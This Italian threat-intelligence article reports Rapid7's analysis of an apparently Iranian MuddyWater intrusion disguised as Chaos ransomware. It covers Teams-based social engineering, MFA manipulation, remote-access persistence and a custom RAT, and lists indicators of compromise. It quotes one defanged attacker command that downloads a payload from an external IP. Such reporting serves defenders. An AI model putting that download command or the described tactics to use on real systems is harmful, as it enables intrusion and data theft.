Attacco via Microsoft Teams: così gli hacker iraniani hanno aggirato MFA e le difese aziendali

Un attacco informatico, attribuito al gruppo ransomware Chaos, ha rivelato una nuova tendenza nel mondo delle operazioni informatiche criminali. Gli attaccanti utilizzano tattiche di ingegneria sociale per introdursi all'interno delle organizzazioni simulando un attacco ransomware, anche se lo scopo è puramente lo spionaggio.

Una intrusione inizialmente attribuita al gruppo ransomware Chaos, svoltasi nel primo trimestre 2026, ha mostrato delle caratteristiche molto diverse da una classica operazione ransomware. Gli analisti di Rapid7, sono riusciti ad identificare degli indicatori compatibili con una campagna sponsorizzata dallo Stato iraniano. Un dettaglio importante è il certificato digitale “Donald Gay”, il quale era stato osservato in precedenti attività associate a MuddyWater. Si tratta di un gruppo APT collegato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS).

Dietro al gruppo APT, Chaos si nascondeva una operazione costruita per sembrare cybercriminale ma non lo era affatto. Gli attaccanti infatti, non hanno dato priorità alla cifratura dei file come avviene spesso nei ransomware tradizionali, al contrario hanno puntato sulla sottrazione dei dati e sul mantenimento della persistenza alle reti compromesse.

Microsoft Teams usato come porta d’ingresso

L’accesso iniziale, è avvenuto attraverso un software altamente diffuso ovvero Microsoft Teams. Gli operatori hanno contattato i dipendenti delle aziende fingendosi personale IT, e questo è un classico in operazioni malevole. Durante queste conversazioni, hanno fatto avviare ai dipendenti delle sessioni di condivisione schermo e convinto le vittime a digitare le loro credenziali in file locali denominati “credentials.txt” e “cred.txt”.

In molte occasioni, gli attaccanti hanno installato il software di controllo remoto AnyDesk sulla macchina della vittima per poter consolidare l’accesso. Successivamente, i malintenzionati hanno eseguito comandi sui computer delle vittime per effettuare una ricognizione con whoami, ipconfig /all e nslookup, per raccogliere informazioni sull’ambiente compromesso.

Rapid7 ha identificato il dominio adm-pulse.com, il quale è stato utilizzato come pagina di phishing travestita da Microsoft Quick Assist. La pagina è servita a sottrarre le credenziali e a manipolare la Multi-Factor Authentication, aggiungendo dei dispositivi controllati dagli aggressori.

Persistenza ottenuta con DWAgent e RDP

Dopo il furto delle credenziali, il gruppo di malintenzionati, ha iniziato a utilizzare account interni legittimi e quindi muoversi lateralmente nella rete. Le connessioni RDP sono state usate per raggiungere i sistemi critici, compresi alcuni Domain Controller.

Per mantenere la persistenza gli operatori hanno installato DWAgent. Nel corso dell’analisi sono stati osservati file come dwagent.exe, dwagsvc.exe e pythonw.exe. Quest’ultimo elemento non è un caso che abbia attirato l’attenzione dei ricercatori. MuddyWater infatti utilizza spesso interpreti Python per caricare codice malevolo direttamente nei processi sospesi.

Successivamente è stato scaricato il payload ms_upd.exe tramite il comando:

curl hxxp://172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Una volta eseguito il file ha avviato una catena di infezione multi-stage che ha portato all’installazione del malware Game.exe.

Il RAT “Game.exe” nascosto dietro Microsoft WebView2

Gli analisti hanno scoperto che Game.exe altro non era che un RAT personalizzato mascherato da applicazione Microsoft WebView2. Il malware derivava da un progetto di Microsoft, alterato in alcune delle sue parti dagli attaccanti. Il percorso PDB individuato durante l’analisi faceva riferimento infatti a WebView2APISample.

Implementava tecniche anti-analisi abbastanza eterogenee e cercava DLL associate alle sandbox come sbiedll.dll e dbghelp.dll, verificava la presenza di ambienti virtualizzati VMware o Hyper-V e controllava eventuali anomalie temporali attraverso chiamate Sleep().

Eppure alcuni elementi risultavano lasciati in chiaro. Comandi RAT, percorsi dei file e stringhe JSON non erano offuscati. Vale la pena ricordarlo perché questa incoerenza tecnica ha permesso ai sistemi EDR di intercettare parte dell’attività malevola durante l’incidente.

La RAT comunicava con il server C2 uploadfiler.com sulla porta 443 e supportava diverse funzionalità operative:

• esecuzione di comandi CMD e PowerShell;
• upload di file in chunk;
• eliminazione file;
• shell interattive persistenti;
• registrazione dinamica dell’host infetto.
• Nessuna cifratura dei file: il dettaglio che cambia lo scenario

Uno degli aspetti molto insoliti dell’operazione riguarda l’assenza della cifratura dei dati. Chaos è noto come ransomware-as-a-service specializzato in double extortion. In questo caso però il gruppo ha pubblicato dati rubati senza utilizzare realmente il modulo ransomware.

Gli attaccanti hanno inviato email di estorsione ai dipendenti dichiarando di aver sottratto documenti sensibili. Hanno anche fornito link .onion per avviare le trattative. Tuttavia alcune prove iniziali presentavano incongruenze. Gli aggressori sostenevano di aver lasciato file contenenti credenziali nei desktop delle vittime ma le verifiche di Rapid7 non hanno trovato alcuna traccia.

Di conseguenza gli analisti hanno iniziato a considerare la pista del “false flag”. L’operazione imitava una campagna ransomware ma il comportamento reale assomigliava molto di più a una attività di cyber espionage.

Il collegamento con MuddyWater

L’attribuzione definitiva rimane complessa. Tuttavia diversi indicatori tecnici convergono verso MuddyWater, noto anche come Seedworm.

Il certificato di firma “Donald Gay” utilizzato per ms_upd.exe era già stato collegato alla campagna “Operation Olalampo”, attribuita a operatori iraniani attivi contro organizzazioni occidentali e del Medio Oriente. Anche il dominio moonzonet.com, usato come server C2, era comparso in precedenti attività contro obiettivi israeliani.

Forse il dettaglio meno ovvio riguarda proprio la scelta di sfruttare il brand Chaos. Dopo alcune operazioni pubblicamente attribuite all’Iran nel 2025 il gruppo sembra aver iniziato a utilizzare infrastrutture e marchi ransomware differenti per aumentare la plausibile negabilità.

Cybercrime e spionaggio si stanno sovrapponendo

L’incidente conferma una tendenza osservata molto spesso negli ultimi mesi: gruppi sponsorizzati dagli Stati stanno adottando tattiche tipiche del cybercrime per nascondere le proprie finalità operative.

Nel caso analizzato da Rapid7 il ransomware sembra avere avuto soprattutto una funzione di copertura. Gli strumenti di accesso remoto come DWAgent e AnyDesk hanno consentito agli operatori di mantenere accesso prolungato ai sistemi compromessi mentre la componente estorsiva serviva a distrarre i team difensivi.

Pertanto le organizzazioni non possono limitarsi a cercare la cifratura dei file o le classiche ransom note. Tecniche di social engineering via Teams, manipolazione della MFA e abuso di strumenti remoti legittimi stanno diventando molto spesso il vero vettore di compromissione nelle campagne APT moderne.

File indicators

Bajram Zeqiri

Bajram Zeqiri è un esperto di cybersecurity, cyber threat intelligence e digital forensics con oltre vent'anni di esperienza, che unisce competenze tecniche, visione strategica creare la resilienza cyber per le PMI. Fondatore di ParagonSec e collaboratore tecnico per Red Hot Cyber, opera nella delivery e progettazione di diversi servizi cyber, SOC, MDR, Incident Response, Security Architecture, Engineering e Operatività. Aiuta le PMI a trasformare la cybersecurity da un costo a leva strategica per le PMI.

Aree di competenza: Cyber threat intelligence, Incident response, Digital forensics, Malware analysis, Security architecture, SOC/MDR operations, OSINT research